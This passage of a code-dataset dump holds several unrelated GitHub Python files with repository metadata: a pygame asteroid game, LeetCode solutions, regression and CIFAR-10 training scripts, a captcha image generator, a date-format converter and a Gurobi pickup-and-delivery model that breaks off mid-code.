[\"Sprites/asteroid-L.png\", \"Sprites/asteroid-LD.png\", \"Sprites/asteroid-S.png\", \"Sprites/asteroid-SD.png\"]\n #self.image = pygame.image.load(self.img_list[random.randint(0, (self.img_list.len() - 1))]).convert_alpha()\n self.position = pygame.math.Vector2(random.randint(-50, SCREEN_W + 50),-50)\n self.rect = self.image.get_rect(center = self.position)\n self.direction = pygame.math.Vector2(random.randint(-10,10)/10 , 1)\n self.speed = 800\n \n def fall(self):\n self.position += self.direction*self.speed*dt\n self.rect.center = (round(self.position.x),round(self.position.y))\n if self.position.y > SCREEN_H:\n self.kill()\n\n def debugRect(self):\n self.rect.center = self.position\n pygame.draw.rect(display_surface, \"red\", self.rect)\n \n def update(self):\n self.fall()\n #self.debugRect()\n \n#Game Setup\n \npygame.init()\npygame.display.set_caption('Asteroid Clone - OOP')\nSCREEN_W, SCREEN_H = 1280, 720 \ndisplay_surface = pygame.display.set_mode((SCREEN_W, SCREEN_H),pygame.FULLSCREEN)\nclock = pygame.time.Clock()\n\n#Game Files\nbackground = pygame.image.load(\"Sprites/background.png\").convert()\n\n#Game Sprites\nspaceship_group = pygame.sprite.GroupSingle()\nlaser_group = pygame.sprite.Group()\nasteroid_group = pygame.sprite.Group()\nship = Ship(spaceship_group)\n\n\n#Main Game Loop\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n #Primary Background\n display_surface.blit(background,(0,0))\n\n #Delta Time - Managing Velocity and FR\n dt = clock.tick() / 1000\n\n #Updates\n ship.update()\n laser_group.update()\n \n if (random.randint(1,500) == 1): #spawn rate; increase to decrease rate\n Asteroid(asteroid_group)\n \n asteroid_group.update()\n #Draw Call - Sprites\n ship.draw(display_surface)\n laser_group.draw(display_surface)\n asteroid_group.draw(display_surface)\n\t#Draw Call - Final\n pygame.display.update()\n","repo_name":"samTonn/Asteroid-OOP","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":5626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33868477671","text":"class Solution(object):\n def is_ship(self, i, j):\n if self.board[i][j] == 'X':\n return True\n else:\n return False\n\n def mark_ship(self, i, j):\n self.board[i][j] = '1'\n if i + 1 < len(self.board) and self.is_ship(i + 1, j):\n self.mark_ship(i + 1, j)\n elif j + 1 < len(self.board[0]) and self.is_ship(i, j + 1):\n self.mark_ship(i, j + 1)\n\n def countBattleships(self, board):\n \"\"\"\n :type board: List[List[str]]\n :rtype: int\n \"\"\"\n self.board = board\n self.count = 0\n for i in range(len(board)):\n for j in range(len(board[0])):\n if self.is_ship(i, j):\n self.count += 1\n self.mark_ship(i, j)\n\n return self.count\n\n\nif __name__ == '__main__':\n s = Solution()\n board = [\n ['X', '.', '.', 'X'],\n ['X', '.', '.', 'X'],\n ['.', '.', '.', 'X']\n ]\n print(s.countBattleships(board))\n","repo_name":"imidya/leetcode","sub_path":"4XX/419_battleships.py","file_name":"419_battleships.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35311705716","text":"# Dataset used is from Basketball-Reference: https://www.basketball-reference.com/leagues/NBA_2021_per_game.html\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport csv\nimport random\n\n# Get data from csv file, and place it into lists\nmp = [] # Feature (minutes played)\nmp_squared = [] # Feature (minutes played squared)\npts = [] # Target variable (points scored)\n\nwith open('NBA_playerstats.csv') as csvfile:\n reader = csv.reader(csvfile)\n next(reader, None) # Skip the header\n for row in reader:\n mp.append(float(row[7]))\n mp_squared.append(float(row[7]) * float(row[7]))\n pts.append(float(row[29]))\n\n# Plot the entire dataset:\nplt.plot(mp, pts, 'b.')\nplt.title('NBA Points Scored Per Minutes Played')\nplt.xlabel('Minutes Played (Per Game)')\nplt.ylabel('Points Scored (Per Game)')\nplt.savefig('EntireDataSet.jpg')\nplt.show()\n\n# Generate training and validation sets.\ndef generate_sets(x):\n indexes = [i for i in range(len(x))]\n training_size = (len(x) // 5) * 4\n training = []\n for i in range(training_size):\n choice = random.choice(indexes)\n training.append(choice)\n indexes.remove(choice)\n\n # indexes is validation set\n return (training, indexes)\n\n# Fit a linear regression model using batch gradient descent. \n# alpha = learning rate (scalar)\n# x = features (matrix)\n# y = target variable (matrix)\n# stop = stopping point\ndef fit(alpha, x, y, stop):\n\n # n is the number of features, m is the number of training examples\n n, m = x.shape\n x_cat = np.concatenate((np.matrix(np.ones(m)), x))\n n, m = x_cat.shape\n theta = np.transpose(np.matrix(np.zeros(n)))\n\n while True:\n theta_old = np.copy(theta)\n h_x = np.dot(np.transpose(theta), x_cat)\n J = 0\n for i in range(n):\n for j in range(m):\n J += (h_x[0, j] - y[0, j]) * x_cat[i, j]\n theta[i] -= (alpha * J)\n J = 0\n\n if np.linalg.norm(theta - theta_old, ord=1) < stop:\n break\n\n return theta\n\ndef mean_squared_error(x, y, y_predicted):\n y = y.tolist()[0] \n summation = 0\n for i in range(len(y)):\n summation += ((y[i] - y_predicted[i]) ** 2)\n return (1 / len(x)) * summation\n\nsets = generate_sets(mp) # sets[0] is training indexes, sets[1] is validation indexes.\n\n# LINEAR FIT\n\n# Predict the amount of points a player will score (per game) based on how minutes played (per game).\nx = [mp[sets[0][i]] for i in range(len(sets[0]))]\ny = [pts[sets[0][i]] for i in range(len(sets[0]))]\n\nx_linear = np.matrix([x])\ny = np.matrix([y])\nplt.plot(x_linear[0], y, 'b.')\n\n# Decrease learning rate based on size of training set\ntheta_hat = fit(1e-8, x_linear, y, 1e-5) # Use this theta_hat for validation set.\nx_linear = x_linear.tolist()[0]\ny = [float(theta_hat[0, 0] + theta_hat[1, 0] * i) for i in x_linear]\nplt.plot(x_linear, y, 'r.')\nplt.title('Points per Minutes Played (Linear Fit)')\nplt.xlabel('Minutes Played')\nplt.ylabel('Points')\nplt.savefig('LinearTraining.jpg')\nplt.show()\n\n# Calculate MSE using validation set\nx = [mp[sets[1][i]] for i in range(len(sets[1]))]\ny = [pts[sets[1][i]] for i in range(len(sets[1]))] \nx_linear = np.matrix([x])\ny = np.matrix([y])\nx_linear = x_linear.tolist()[0]\ny_predicted = [float(theta_hat[0, 0] + theta_hat[1, 0] * i) for i in x_linear]\nmse = '{0:.2f}'.format(mean_squared_error(x_linear, y, y_predicted))\ny = y.tolist()[0]\nplt.plot(x_linear, y, 'b.')\nplt.plot(x_linear, y_predicted, 'r.')\nplt.title('Points per Minutes Played (Linear Fit)')\nplt.text(5, 20, 'Mean Squared Error = ' + str(mse), fontsize=16)\nplt.xlabel('Minutes Played')\nplt.ylabel('Points')\nplt.savefig('LinearTest.jpg')\nplt.show()\n\n\n# QUADRATIC FIT\nx = [mp[sets[0][i]] for i in range(len(sets[0]))]\nx_squared = [mp[sets[0][i]] ** 2 for i in range(len(sets[0]))]\ny = [pts[sets[0][i]] for i in range(len(sets[0]))]\n\n# Predict the amount of points a player will score (per game) based on how minutes played (per game).\nx_quadratic = np.matrix([x, x_squared])\ny = np.matrix([y])\nplt.plot(x_quadratic[0], y, 'b.')\n\n# Decrease learning rate based on size of training set\ntheta_hat = fit(1e-8, x_quadratic, y, 1e-5) # Use this theta_hat for validation set.\ny = [float(theta_hat[0, 0] + theta_hat[1, 0] * i + theta_hat[2, 0] * i * i) for i in x_quadratic.tolist()[0]]\n\nplt.plot(x_quadratic.tolist()[0], y, 'r.')\nplt.title('Points per Minutes Played (Quadratic Fit)')\nplt.xlabel('Minutes Played')\nplt.ylabel('Points')\nplt.savefig('QuadraticTrain.jpg')\nplt.show()\n\n# Calculate MSE using validation set\nx = [mp[sets[1][i]] for i in range(len(sets[1]))]\nx_squared = [mp[sets[1][i]] ** 2 for i in range(len(sets[1]))]\ny = [pts[sets[1][i]] for i in range(len(sets[1]))] \nx_quadratic = np.matrix([x, x_squared])\ny = np.matrix([y])\ny_predicted = [float(theta_hat[0, 0] + theta_hat[1, 0] * i + theta_hat[2, 0] * i * i) for i in x_quadratic.tolist()[0]]\nmse = '{0:.2f}'.format(mean_squared_error(x_quadratic.tolist()[0], y, y_predicted))\ny = y.tolist()[0]\nplt.plot(x_quadratic.tolist()[0], y, 'b.')\nplt.plot(x_quadratic.tolist()[0], y_predicted, 'r.')\nplt.title('Points per Minutes Played (Quadratic Fit)')\nplt.text(5, 20, 'Mean Squared Error = ' + str(mse), fontsize=16)\nplt.xlabel('Minutes Played')\nplt.ylabel('Points')\nplt.savefig('QuadraticTest.jpg')\nplt.show()\n","repo_name":"MorphiceGV/personalprojects","sub_path":"NBA Project/GradientDescent.py","file_name":"GradientDescent.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31981792372","text":"import csv\n\ndef make_genres_map(dict, filepath):\n \"\"\"Creates a dictionary which maps all movie genres to a unique genre code used in the movies revenue prediction model.\n\n Args:\n dict: dictionary to store mapping.\n filepath: dataframe containing movie attributes.\n\n Returns:\n Dictionary containing the genre to code mapping.\n\n \"\"\"\n genre_file = open(filepath)\n genre_reader = csv.reader(genre_file)\n next(genre_reader)\n for row in genre_reader:\n dict.update({row[1]:row[0]})\n return dict\n","repo_name":"vhsieh920/MSIA-movie-app-flask","sub_path":"develop/genres_map.py","file_name":"genres_map.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24036449575","text":"import mgp\nimport mgp_mock\nimport test_utils\n\n\n@mgp.read_proc\ndef compare_apis(ctx: mgp.ProcCtx) -> mgp.Record(results_dict=mgp.Map):\n mock_ctx = test_utils.get_mock_proc_ctx(is_write=False)\n results = dict()\n\n vertices = ctx.graph.vertices\n mock_vertices = mock_ctx.graph.vertices\n\n results[\"is_valid\"] = test_utils.all_equal(\n vertices.is_valid(),\n mock_vertices.is_valid(),\n True,\n )\n\n results[\"__iter__\"] = test_utils.all_equal(\n all(isinstance(vertex, mgp.Vertex) for vertex in vertices),\n all(isinstance(vertex, mgp_mock.Vertex) for vertex in mock_vertices),\n True,\n )\n\n results[\"__len__\"] = test_utils.all_equal(\n len(vertices),\n len(mock_vertices),\n 27,\n )\n\n return mgp.Record(results_dict=results)\n","repo_name":"memgraph/memgraph","sub_path":"tests/e2e/mock_api/procedures/vertices.py","file_name":"vertices.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":1859,"dataset":"github-code","pt":"21"} +{"seq_id":"15585623672","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 13 10:56:09 2017\n\n@author: smsxgz\n\"\"\"\n\n\ndef convert(s, numRows):\n if numRows == 1:\n return s\n expert = [''] * numRows\n i = 0\n j = 1\n for ss in s:\n expert[i] += ss\n if i == numRows - 1 and j == 1:\n j = -1\n elif i == 0 and j == -1:\n j = 1\n\n i += j\n\n return ''.join(expert)\n\n\nprint(convert(\"PAYPALISHIRING\", 3))\n","repo_name":"smsxgz/my-leetcode","sub_path":"Archive-0/ZigZagConversion.py","file_name":"ZigZagConversion.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7510380784","text":"\"\"\"\n==================================================\nNeural Networks for Classification - animals\n==================================================\n\nAuthors:\nAlicja Szczypior\nKrzysztof Szczypior\n\n+-----------------------------------------------------------------------+\n\nPython at least 3.8\nTo run the program, install the following Python packages (if required):\nTensorFlow with some packages which should be imported in the code:\n- cifar10\nKeras library in Python.\n- Flatten, Dense\n\n+-----------------------------------------------------------------------+\nTERMINOLOGY\n\nNeural networks are computational systems inspired by the structure and function of the human brain.\nThey are comprised of interconnected nodes known as neurons, organized into layers.\nEach neuron processes input data and transmits signals to neurons in the next layer.\nNeural networks learn by adjusting connections between neurons based on example data.\n\nIn the provided example, we leverage the CIFAR-10 dataset, a collection of images representing various animals,\nto train a neural network for classification. The CIFAR-10 dataset consists of 60,000 32x32 color images in 10 different\nclasses. The neural network architecture includes convolutional layers, max-pooling, and dense layers.\n\nThe model is trained using the Adam optimizer and categorical crossentropy as the loss function.\nAfter training, the model's performance is evaluated on the test dataset.\n\n\"\"\"\nimport numpy as np\nfrom keras.datasets import cifar10\nfrom keras.utils import to_categorical\nfrom keras import layers, models\n\n# Load CIFAR-10 dataset\n(X_train_cifar, y_train_cifar), (X_test_cifar, y_test_cifar) = cifar10.load_data()\n\n# Normalize pixel values to be between 0 and 1\nX_train_cifar = X_train_cifar / 255.0\nX_test_cifar = X_test_cifar / 255.0\n\n# Convert labels to categorical\ny_train_categorical_cifar = to_categorical(y_train_cifar, num_classes=10)\ny_test_categorical_cifar = to_categorical(y_test_cifar, num_classes=10)\n\n# Define neural network model\nmodel_cifar = models.Sequential([\n layers.Conv2D(32, (3, 3), activation='tanh', input_shape=(32, 32, 3)),\n layers.MaxPooling2D((2, 2)),\n layers.Conv2D(64, (3, 3), activation='tanh'),\n layers.MaxPooling2D((2, 2)),\n layers.Flatten(),\n layers.Dense(150, activation='tanh'),\n layers.Dense(100, activation='tanh'),\n layers.Dense(10, activation='softmax')\n])\n\n# Compile the model\nmodel_cifar.compile(optimizer='adam', loss='categorical_crossentropy', metrics='accuracy')\n\n# Train the model\nmodel_cifar.fit(X_train_cifar, y_train_categorical_cifar, validation_data=(X_test_cifar, y_test_categorical_cifar), epochs=10, verbose=1)\n\n# Display model summary\nmodel_cifar.summary()\n\nloss_cifar, accuracy_cifar = model_cifar.evaluate(X_test_cifar, y_test_categorical_cifar)\nprint(f'Test Loss CIFAR-10: {loss_cifar}, Test Accuracy CIFAR-10: {accuracy_cifar}')\n\n# Make predictions on a sample image from the test set\nsample_image = X_test_cifar[0]\nsample_image = sample_image / 255.0\n\nsample_image = np.expand_dims(sample_image, axis=0)\n\npredictions = model_cifar.predict(sample_image)\npredicted_class = np.argmax(predictions)\n\nprint(f'\\nPredicted Class: {predicted_class}')\nprint(f'Actual Class: {y_test_cifar[0][0]}')\n","repo_name":"s23577/NAI_ZJAZD1","sub_path":"ZJAZD_5_Neural_Networks/2_CIFAR_10/cifar_10_animals.py","file_name":"cifar_10_animals.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18044864718","text":"from captcha.image import ImageCaptcha\nimport os\nimport random\nfrom PIL import Image\nfrom PIL.ImageDraw import Draw\nimport cv2 as cv\nimport armine as am\nimport numpy as np\nimport config\n\ntable = []\nfor i in range(256):\n table.append(i * 1.97)\n\nDATA_DIR = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'asset', 'font')\nDEFAULT_FONTS = [os.path.join(DATA_DIR, 'simhei.ttf')]\n\n\nclass MyCaptcha(ImageCaptcha):\n def __init__(self, width=160, height=60, fonts=None, font_sizes=None, normalized=False):\n self._width = width\n self._height = height\n self._fonts = fonts or DEFAULT_FONTS\n self._font_sizes = font_sizes or (42, 50, 56)\n self._truefonts = []\n self.poslist = []\n self.normalized = normalized\n # 索引列表,删去了一些容易混淆的字母\n self.dictset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9',\n 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',\n 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'u',\n 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'D', 'E', 'F',\n 'G', 'H', 'L', 'M', 'N', 'Q', 'R', 'T', 'Y']\n\n def create_captcha_image(self, chars, color, background):\n \"\"\"Create the CAPTCHA image itself.\n\n :param chars: text to be generated.\n :param color: color of the text.\n :param background: color of the background.\n\n The color should be a tuple of 3 numbers, such as (0, 255, 255).\n \"\"\"\n image = Image.new('RGB', (self._width, self._height), background)\n draw = Draw(image)\n global getposlist\n\n poslist = []\n flaglist = []\n\n def _draw_character(c):\n font = random.choice(self.truefonts)\n w, h = draw.textsize(c, font=font)\n\n dx = random.randint(0, 4)\n dy = random.randint(0, 6)\n im = Image.new('RGBA', (w + dx, h + dy))\n Draw(im).text((dx, dy), c, font=font, fill=color)\n\n # rotate\n im = im.crop(im.getbbox())\n im = im.rotate(random.uniform(-30, 30), Image.BILINEAR, expand=1)\n\n # warp\n dx = w * random.uniform(0.1, 0.3)\n dy = h * random.uniform(0.2, 0.3)\n x1 = int(random.uniform(-dx, dx))\n y1 = int(random.uniform(-dy, dy))\n x2 = int(random.uniform(-dx, dx))\n y2 = int(random.uniform(-dy, dy))\n w2 = w + abs(x1) + abs(x2)\n h2 = h + abs(y1) + abs(y2)\n data = (\n x1, y1,\n -x1, h2 - y2,\n w2 + x2, h2 + y2,\n w2 - x2, -y1,\n )\n im = im.resize((w2, h2))\n im = im.transform((w, h), Image.QUAD, data)\n return im\n\n images = []\n for c in chars:\n if random.random() > 0.5:\n images.append(_draw_character(\" \"))\n flaglist.append(0)\n images.append(_draw_character(c))\n flaglist.append(1)\n\n text_width = sum([im.size[0] for im in images])\n\n width = max(text_width, self._width)\n image = image.resize((width, self._height))\n\n average = int(text_width / len(chars))\n rand = int(0.25 * average)\n offset = int(average * 0.1)\n\n str_count = 0\n for i, im in enumerate(images):\n w, h = im.size\n y = int((self._height - h) / 2)\n # 只有非空字符串的位置才会添加到poslist(位置列表)\n if(flaglist[i]):\n idx = self.dictset.index(chars[str_count])\n poslist.append([idx, offset, y, w+offset, h+y])\n str_count += 1\n mask = im.convert('L').point(table)\n image.paste(im, (offset, y), mask)\n offset = offset + w + random.randint(-rand, 0)\n\n if width > self._width:\n image = image.resize((self._width, self._height))\n divtemp = width / self._width\n for l in poslist:\n l[1] = int(l[1] / divtemp)\n l[3] = int(l[3] / divtemp)\n if self.normalized:\n for l in poslist:\n l[1], l[3] = l[1]/self._width, l[3]/self._width\n l[2], l[4] = l[2]/self._height, l[4]/self._height\n self.poslist.append(poslist)\n\n return image\n\nif __name__ == \"__main__\":\n img_dir = \"./\"\n image = MyCaptcha(width=config.img_w, height=config.img_h, normalized=True)\n image.write('2102', \"out.png\")\n x = cv.imread(\"out.png\")\n poslist = np.array(image.poslist)\n for ls in poslist:\n for l in ls:\n am.cv_rectangle_normalized(x, ls[:, 1:], normallized=True)\n print(poslist)\n cv.imshow('out.png', x)\n\n cv.waitKey()\n\n","repo_name":"ar-mine/Captcha-Crack","sub_path":"SSD/myCaptcha.py","file_name":"myCaptcha.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6069918063","text":"import pyperclip\nimport re\nfrom datetime import datetime\nfrom time import sleep\n\ntext = pyperclip.paste()\n\nformats = [ # first, day\n '%d/%m/%Y', '%d-%m-%Y', '%d.%m.%Y', '%d/%m/%y', '%d-%m-%y', '%d.%m.%y',\n '%e/%f/%Y', '%e-%f-%Y', '%e.%f.%Y', '%e/%f/%y', '%e-%f-%y', '%e.%f.%y',\n # first, year\n '%Y/%m/%d', '%Y-%m-%d', '%Y.%m.%d', '%Y/%f/%e', '%Y-%f-%e', '%Y.%f.%e',\n # first, month\n '%m/%d/%Y', '%m-%d-%Y', '%m.%d.%Y', '%f/%e/%Y', '%f-%e-%Y', '%f.%e.%Y',\n '%m/%d/%y', '%m-%d-%y', '%m.%d.%y', '%f/%e/%Y', '%f-%e-%Y', '%f.%e.%Y',\n # format: Month d, yyyy output: January 19, 2007\n '%b %e, %Y', '%B %e, %Y', '%b %d, %Y', '%B %d, %Y',\n # format: dd/mm/yyyy hh:mm:ss or dd-mm-yyyy hh:mm:ss output: 19/01/2007 10:00:00 or 19-01-2007 10:00:00\n '%d/%m/%Y %H:%M:%S', '%d-%m-%Y %H:%M:%S',\n # format: yyyy/mm/dd hh:mm:ss or yyyy-mm-dd hh:mm:ss output: 2007/01/19 10:00:00 or 2007-01-19 10:00:00\n '%Y/%m/%d %H:%M:%S', '%Y-%m-%d %H:%M:%S',\n # output: 19 January 2007 - '19 de janeiro de 2007' (are not case sensitive - 'não diferenciam letras maiúsculas de minúsculas',\n # january, January, JANuary or JANUARY - 'janeiro, Janeiro, JANeiro ou JANEIRO')\n '%d %B %Y']\n\nstandard_format = '%d/%m/%Y'\nformat_found = None\nfindDates = re.compile(r''' # finds formats starting with 'day'\n ((\\d{1,2}[/-]\\d{1,2}[/-]\\d{2,4})\n |(\\d{1,2}\\.\\d{1,2}\\.\\d{2,4})\n # finds formats starting with 'day'\n |(\\d{4}[/-]\\d{1,2}[/-]\\d{1,2})\n |(\\d{4}\\.\\d{1,2}\\.\\d{1,2})\n )''', re.X)\n\n# converting the formats below did not return the expected result\n''' # finds the formats that contain the name of the month\n |([a-zA-Z]{1,9}\\s\\d{1,2},\\s\\d{2,4})\n |(\\d{1,2}\\s[de]{1,2}\\s[a-zA-ZçÇ]{1,9}\\s[de]{1,2}\\s\\d{4})\n'''\n\nmatches = []\n\nprint('\\nLooking for Dates...')\nsleep(3)\n\nfor groups in findDates.findall(text):\n print('Date found: ', groups[0])\n for each_format in formats:\n try:\n groups_to_string = ''.join(groups[0])\n date_format = datetime.strptime(groups_to_string, each_format)\n format_found = each_format\n break\n except ValueError:\n pass # format not found\n if format_found is not None: # if found a format, convert the date to the other format\n date = datetime.strftime(date_format, standard_format)\n matches.append(date)\n\nif len(matches) > 0:\n pyperclip.copy('\\n'.join(matches))\n print('\\nDates copied to clipboard:')\n print('\\n'.join(matches))\nelse:\n print('No date found.')\n","repo_name":"RicardoBittencourt77/atividades-de-TAREFAS-MACANTES","sub_path":"clearDatesConvert.py","file_name":"clearDatesConvert.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29998493033","text":"import random\n\nfrom gurobipy import *\n\nM = 999999\n\ndef calc_dist(v1, v2):\n x_quadrado = v1.coord_x**2\n y_quadrado = v2.coord_y**2\n soma = x_quadrado + y_quadrado\n resultado = soma**(1/2)\n return resultado\n\ndef separa_conjuntos(vertices, veiculos):\n vertices_pickup = []\n vertices_delivery = []\n vertices_depoisto = []\n for key, vertice in vertices.items():\n if (vertice.e_deposito):\n vertices_depoisto.append(key)\n continue\n\n if (vertice.e_pickup):\n vertices_pickup.append(key)\n continue\n\n if (vertice.e_delivery):\n vertices_delivery.append(key)\n continue\n\n return (vertices_pickup, vertices_delivery, vertices_depoisto)\n\n'''\nDefine os conjuntos de variáveis do modelo, retornando uma tupla com os vetores \nde cada conjunto.\n'''\ndef declara_variaveis(modelo, vertices, veiculos):\n \n # Define x_ijk\n aresta_usada_por_veiculo = {}\n\n for key_1, vertice_1 in vertices.items():\n aresta_usada_por_veiculo[key_1] = {}\n for key_2, vertice_2 in vertices.items():\n aresta_usada_por_veiculo[key_1][key_2] = {}\n for veiculo in veiculos:\n nome_var = \"\"\n nome_var += \"aresta_\" \n nome_var += str(key_1) \n nome_var += \"_\" \n nome_var += str(key_2) \n nome_var += \"_\" \n nome_var += str(veiculo)\n \n aresta_usada_por_veiculo[key_1][key_2][veiculo] = modelo.addVar(\n name=nome_var,\n # vtype=GRB.BINARY,\n vtype=GRB.CONTINUOUS,\n lb=0,\n ub=1\n )\n\n # Define S_ik\n local_de_comeco_veiculo = {}\n\n for key in vertices.keys():\n local_de_comeco_veiculo[key] = {}\n for veiculo in veiculos:\n nome_var = \"\"\n nome_var += \"local_inicio_\"\n nome_var += str(key)\n nome_var += \"_\"\n nome_var += str(veiculo)\n\n local_de_comeco_veiculo[key][veiculo] = modelo.addVar(\n name=nome_var,\n # vtype=GRB.INTEGER,\n vtype=GRB.CONTINUOUS,\n lb=0\n )\n\n # Define L_ik\n ub_apos_servico = {}\n\n for key in vertices.keys():\n ub_apos_servico[key] = {}\n for veiculo in veiculos:\n nome_var = \"\"\n nome_var += \"ub_apos_servico_\"\n nome_var += str(key)\n nome_var += \"_\"\n nome_var += str(veiculo)\n\n\n ub_apos_servico[key][veiculo] = modelo.addVar(\n name=nome_var,\n # vtype=GRB.INTEGER,\n vtype=GRB.CONTINUOUS,\n lb=0\n )\n\n\n # Define z_i\n pedido_esta_no_banco = {}\n\n for key, vertice in vertices.items():\n if (vertice.e_pickup and not vertice.e_deposito):\n nome_var = \"\"\n nome_var = \"pedido_no_banco_\" + str(key)\n pedido_esta_no_banco[key] = modelo.addVar(\n name=nome_var,\n # vtype=GRB.BINARY,\n vtype=GRB.CONTINUOUS,\n lb=0,\n ub=1\n )\n \n conjunto_variaveis = (\n aresta_usada_por_veiculo, \n local_de_comeco_veiculo, \n ub_apos_servico, \n pedido_esta_no_banco\n )\n \n return conjunto_variaveis\n\n\n'''\nDeclara as restrições do Programa Linear e retorna uma tupla com os conjuntos.\n'''\ndef declara_restricoes(modelo, vertices, matriz, veiculos, conjunto_variaveis):\n aresta_veic, local_ini_veic, ub_pos_serv, pedido_banco = conjunto_variaveis\n\n pickups, deliveries, depoistos = separa_conjuntos(vertices, veiculos)\n\n nao_forma_loop = {}\n for key in vertices.keys():\n nao_forma_loop[key] = {}\n for ind_veic in veiculos.keys():\n \n nome_rest = \"\"\n nome_rest += \"nao_forma_loop_\"\n nome_rest += str(key)\n nome_rest += \"_\"\n nome_rest += str(ind_veic)\n\n nao_forma_loop[key][ind_veic] = modelo.addConstr(\n aresta_veic[key][key][ind_veic],\n GRB.EQUAL,\n 0,\n name=nome_rest\n )\n\n\n pickup_visitado_ou_banco = {}\n for key in pickups:\n vertice = vertices[key]\n soma = (\n quicksum(\n quicksum(\n aresta_veic[key][key_2][veiculo]\n for veiculo in veiculos.keys()\n )\n for key_2 in vertices.keys()\n ) \n + pedido_banco[key]\n )\n nome_rest = \"\"\n nome_rest += \"pickup_visitado_ou_banco_\"\n nome_rest += str(key)\n pickup_visitado_ou_banco[key] = modelo.addConstr(\n soma,\n GRB.EQUAL,\n 1,\n name=nome_rest\n )\n\n\n restricao_pick_delivery = {}\n\n for veiculo in veiculos.keys():\n restricao_pick_delivery[veiculo] = {}\n for key in pickups:\n soma_pickup = (\n quicksum(\n aresta_veic[key][ind_vertice][veiculo]\n for ind_vertice in vertices.keys()\n )\n )\n\n par_delivery = vertices[key].par_delivery\n soma_delivery = (\n quicksum(\n aresta_veic[ind_vertice][par_delivery][veiculo]\n for ind_vertice in vertices\n )\n )\n nome_rest = \"\"\n nome_rest = \"pickup_delivery_\"\n nome_rest += str(veiculo)\n nome_rest += \"_\"\n nome_rest += str(key)\n restricao_pick_delivery[veiculo][key] = modelo.addConstr(\n soma_pickup - soma_delivery,\n GRB.EQUAL,\n 0,\n name=nome_rest\n )\n \n\n restricao_inicio_fim_pt_1 = {}\n for indice, veiculo in veiculos.items():\n vetor_percorrido = pickups + [veiculo.terminal_fim]\n soma = (\n quicksum(\n aresta_veic[veiculo.terminal_ini][j][indice]\n for j in vetor_percorrido\n )\n )\n \n nome_rest = \"inicio_fim_pt_1_\"\n nome_rest += str(indice)\n restricao_inicio_fim_pt_1[indice] = modelo.addConstr(\n soma,\n GRB.EQUAL,\n 1,\n name=nome_rest\n )\n \n restricao_inicio_fim_pt_2 = {}\n for indice, veiculo in veiculos.items():\n vetor_percorrido = deliveries + [veiculo.terminal_ini]\n soma = (\n quicksum(\n aresta_veic[j][veiculo.terminal_fim][indice]\n for j in vetor_percorrido\n )\n )\n \n nome_rest = \"inicio_fim_pt_2_\"\n nome_rest += str(indice)\n restricao_inicio_fim_pt_2[indice] = modelo.addConstr(\n soma,\n GRB.EQUAL,\n 1,\n name=nome_rest\n )\n\n caminhos_conexo = {}\n\n for ind_veiculo, veiculo in veiculos.items():\n for ind_vertice, vertice in vertices.items():\n if vertice.e_deposito:\n continue\n caminhos_conexo[ind_vertice] = {}\n soma_chegada = (\n quicksum(\n aresta_veic[i][ind_vertice][ind_veiculo]\n for i in vertices.keys()\n )\n )\n\n soma_saida = (\n quicksum(\n aresta_veic[ind_vertice][i][ind_veiculo]\n for i in vertices.keys()\n )\n )\n\n nome_rest = \"\"\n nome_rest += \"caminho_conexo_\"\n nome_rest += str(ind_vertice)\n nome_rest += \"_\"\n nome_rest += str(ind_veiculo)\n\n caminhos_conexo[ind_vertice][ind_veiculo] = modelo.addConstr(\n soma_chegada - soma_saida,\n GRB.EQUAL,\n 0,\n name=nome_rest\n )\n\n\n define_local_ini_pt_1 = {}\n\n for ind_veiculo, veiculo in veiculos.items():\n define_local_ini_pt_1[ind_veiculo] = {}\n for i, v1 in vertices.items():\n define_local_ini_pt_1[ind_veiculo][i] = {}\n for j, v2 in vertices.items():\n soma_esquerda = (\n local_ini_veic[i][ind_veiculo]\n + v1.duracao_servico\n + matriz[i][j]\n )\n\n\n soma_direita = (\n (1 - aresta_veic[i][j][ind_veiculo])\n * M\n + local_ini_veic[j][ind_veiculo]\n )\n\n nome_rest = \"define_local_ini_pt_1_\"\n nome_rest += str(i)\n nome_rest += \"_\"\n nome_rest += str(j)\n nome_rest += \"_\"\n nome_rest += str(ind_veiculo)\n\n define_local_ini_pt_1[ind_veiculo][i][j] = modelo.addConstr(\n soma_esquerda,\n GRB.LESS_EQUAL,\n soma_direita,\n name=nome_rest\n )\n\n\n define_local_ini_pt_2 = {}\n\n for ind_veiculo in veiculos.keys():\n define_local_ini_pt_2[ind_veiculo] = {}\n for i, vertice in vertices.items():\n define_local_ini_pt_2[ind_veiculo][i] = {}\n\n\n nome_rest_0 = \"ini_servico_0_\"\n nome_rest_0 += str(ind_veiculo)\n nome_rest_0 += \"_\"\n nome_rest_0 += str(i)\n\n define_local_ini_pt_2[ind_veiculo][i][0] = modelo.addConstr(\n 